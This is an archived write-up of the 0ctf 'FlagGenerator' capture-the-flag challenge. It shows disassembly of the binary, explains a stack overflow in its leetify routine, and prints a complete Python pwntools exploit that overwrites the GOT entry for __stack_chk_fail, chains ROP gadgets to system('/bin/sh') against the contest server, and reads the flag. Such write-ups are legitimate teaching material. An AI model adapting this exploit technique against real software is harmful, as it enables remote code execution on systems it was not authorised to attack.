💾 Archived View for 0x80.org › gemlog › 2015-03-30-0ctf-flaggenerator-writeup.gmi captured on 2022-04-28 at 17:40:58. Gemini links have been rewritten to link to archived content

View Raw

More Information

⬅️ Previous capture (2021-12-03)

-=-=-=-=-=-=-

0ctf FlagGenerator writeup

FlagGenerator was an exploitation challenge worth 250 pts on 0ctf[1]. We are given the binary[2] and it's libc[3] file. Let's start.

1: https://ctf.0ops.sjtu.cn

2: http://dl.0ops.net/flagen

3: http://dl.0ops.net/libc.so.6

[0x08048570]> !checksec --file ./flagen
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   ./flagen

Let start from main and see what's going on

[0x08048570]> s main
[0x08048bb3]> pdf ~call
|           0x08048bbc    e8acfaffff   call fcn.0804866d
|           0x08048bc9    e860ffffff   call getinput
|      ||   0x08048bfc    e8bff8ffff   call .free
|       |   0x08048c08    e8f6feffff   call flag_reader
|       |   0x08048c18    e8f3f8ffff   call .puts
|    || |   0x08048c31    e84afbffff   call uppercase
|     | |   0x08048c3d    e8cef8ffff   call .puts
|  || | |   0x08048c56    e8c8fbffff   call lowercase
|   | | |   0x08048c62    e8a9f8ffff   call .puts
| | | | |   0x08048c7b    e846fcffff   call 0x80488c6
| | | | |   0x08048c87    e884f8ffff   call .puts
| | | | |   0x08048ca0    e8cbfdffff   call 0x8048a70
| | | | |   0x08048cac    e85ff8ffff   call .puts
| | | | |   0x08048cca    e8e1f7ffff   call .printf
| | | | |   0x08048cd6    e8e5f7ffff   call .free
| | | | |   0x08048cea    e821f8ffff   call .puts
| | | | |   0x08048cf8    e813f8ffff   call .puts
| | | | |   0x08048d06    e805f8ffff   call .puts
| | | |     0x08048d19    e8f2f7ffff   call .puts

we show the calls and we check getinput function. This function is responsible for viewing the options and selecting one which has a psudeo-code

int getinput()
{
  puts("== 0ops Flag Generator ==");
  puts("1. Input Flag");
  puts("2. Uppercase");
  puts("3. Lowercase");
  puts("4. Leetify");
  puts("5. Add Prefix");
  puts("6. Output Flag");
  puts("7. Exit ");
  puts("=========================");
  puts("Your choice: ");
  return read_choice();
}

so we start checking each of the options above and we find that #4 the leetify function 0x80488c6 is vulnerable. When the function recieves char 'h' or 'H' it goes to 0x0804895a which is vulnerable.

[0x0804895a]> pdb
/ (fcn) fcn.0804895a 278
|          ; var int local_69     @ ebp-0x114
|          ; var int local_68     @ ebp-0x110
|          ; var int local_67     @ ebp-0x10c
|          ; var int local_3      @ ebp-0xc
|          ; arg int arg_2        @ ebp+0x8
|          0x0804895a    8b85ecfeffff mov eax, dword [ebp-local_69]
|          0x08048960    8d5001       lea edx, [eax + 1]                ; [0x1:4]=0x1464c45 
|          0x08048963    8995ecfeffff mov dword [ebp-local_69], edx
|          0x08048969    c60031       mov byte [eax], 0x31              ; [0x31:1]=0 ; '1'
|          0x0804896c    8b85ecfeffff mov eax, dword [ebp-local_69]
|          0x08048972    8d5001       lea edx, [eax + 1]                ; [0x1:4]=0x1464c45 
|          0x08048975    8995ecfeffff mov dword [ebp-local_69], edx
|          0x0804897b    c6002d       mov byte [eax], 0x2d              ; [0x2d:1]=0 ; '-'
|          0x0804897e    8b85ecfeffff mov eax, dword [ebp-local_69]
|          0x08048984    8d5001       lea edx, [eax + 1]                ; [0x1:4]=0x1464c45 
|          0x08048987    8995ecfeffff mov dword [ebp-local_69], edx
|          0x0804898d    c60031       mov byte [eax], 0x31              ; [0x31:1]=0 ; '1'
|          0x08048990    e992000000   jmp 0x8048a27                     ; (fcn.0804895a)

what happens above is that when 'h' or 'H' are read they are converted to '1-1' so they generate 3 bytes instead of all the other cases 'aAzZlLoO..' which read 1 and generate 1 byte. This without checking the size can cause an overflow in src..

int leetify(char *dst) {
 char src[256];
 ..
 switch(input) {
 ....
     case 'h':
     case 'H':
         src[x] = '1';
         src[x+1] = '-';
         src[x+2] = '1';
         ...
 ....
 }
 ...
}

so if dst was 256 bytes and src can only hold 256 then if all dst content is 'h' or 'H' then the src will hold 256*3 bytes which will overflow. This binary is compiled with canary so cookie which will be overwritten will cause a call to __stack_check_fail.

[0x08048a5d]> pd 4
|          0x08048a5d    8b45f4       mov eax, dword [ebp-local_3]
|          0x08048a60    65330514000. xor eax, dword gs:[0x14]
|      ,=< 0x08048a67    7405         je 0x8048a6e
|      |   0x08048a69    e872faffff   call .__stack_chk_fail

So the exploit is

#!/usr/bin/env python2

from pwn import *
from time import sleep

context(arch='i386', os='linux')

def main():

    scf = p32(0x0804b01c) # __stack_check_fail@got.plt

    rop = p32(0x08048d89)
    rop += p32(0xdeadc0de)*2
    rop += p32(0xf774c938-1648552)*2 # system 0x00040190
    rop += p32(0xf774c938-1648552-0x2e9ce) # /bin/sh 0x000117c2
    rop += p32(0xf774c938-1648552-0x2e9ce) # diff 190926 0x2e9ce
# leaker
    #rop += p32(0x08048510)*2 # puts
    #rop += p32(0x0804b004)

    p = "1\n"
    p += rop+"h"*28+scf*(((254-len(rop)-25)/4))
    p += "\n"

    r = remote("202.112.28.115", 5149)
    #r = remote("202.112.26.106", 5149)
    r.recv(1024)
    r.sendline(p)
    r.recv(1024)
    r.sendline("4")
    r.recv(1024)
    try:
		r.sendline("cat /home/flagen/flag")
		print r.recv(5012)
    except:
		pass

if __name__ == '__main__':
    main()

The way we build this exploit is first we jump to this gadget

[0x08048bb3]> s 0x08048d89
[0x08048d89]> pdb
/ (fcn) fcn.08048d89 8
|          ;-- fcn.08048d89:
|          0x08048d89    83c41c       add esp, 0x1c
|          0x08048d8c    5b           pop ebx
|          0x08048d8d    5e           pop esi
|          0x08048d8e    5f           pop edi
|          0x08048d8f    5d           pop ebp
\          0x08048d90    c3           ret

This will allow us to set the esp to a controlled buffer so we can ROP more. We used puts at 0x08048510 to print content at 0x0804b004 which is the beginning of got.plt+4 section. We need this information. We find that leaked addresses are in this format.

    # 0xf7798938
    # 0xf7752938
    # 0xf774c938
    # 0xf7723938

we calculate an offset for this address to &system and to string /bin/sh in the given libc. The offsets found are fixed by -1648552 to get to system from the leaked address at 0x0804b004 and by -1648552-0x2e9ce to /bin/sh from the leaked address. Then we use this information to call system("/bin/sh") by bruteforcing. Exploiting multiple times. Because we know at some point these

    rop += p32(0xf774c938-1648552)*2 # system 0x00040190
    rop += p32(0xf774c938-1648552-0x2e9ce) # /bin/sh 0x000117c2
    rop += p32(0xf774c938-1648552-0x2e9ce) # diff 190926 0x2e9ce

addresses will be true and the code will be executed. So we run the exploit many times and we get this .

zeus:flagen # ack 0ctf log
0ctf{delicious_stack_cookie_generates_flag}